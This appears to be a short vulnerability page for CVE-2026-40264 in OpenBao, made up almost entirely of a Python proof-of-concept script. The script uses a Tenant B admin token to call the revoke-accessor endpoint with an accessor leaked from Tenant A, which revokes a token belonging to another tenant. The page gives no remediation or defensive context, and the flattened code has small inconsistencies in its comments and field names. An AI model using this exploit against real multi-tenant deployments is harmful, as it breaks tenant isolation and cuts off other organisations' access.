CVE-2026-40264 OpenBao跨租户令牌访问器泄露漏洞

# Conceptual PoC for CVE-2026-40264 # This script demonstrates how an admin in Tenant B could revoke a token from Tenant A # using a leaked token accessor. import requests # Configuration TARGET_URL = "https://openbao-server:8200" TENANT_B_ADMIN_TOKEN = "s.1234567890abcdef" # High privilege token for Tenant B LEAKED_ACCESSOR_FROM_TENANT_A = "abcd1234-5678-90ef-ghij-klmnopqrstuv" # Leased from Tenant A headers = { "X-Vault-Token": TENANT_B_ADMIN_TOKEN, "X-Vault-Namespace": "tenant-b" # Admin is operating in Tenant B context } # The revoke endpoint usually takes an accessor # In the vulnerable version, it does not check if the accessor belongs to Tenant B data = { "token": LEAKED_ACCESSOR_FROM_TENANT_A, "_accessor": "true" } try: response = requests.post(f"{TARGET_URL}/v1/auth/token/revoke-accessor", headers=headers, json=data) if response.status_code == 204: print("[+] Successfully revoked token from another tenant using leaked accessor!") else: print(f"[-] Failed to revoke token. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[Error] {e}")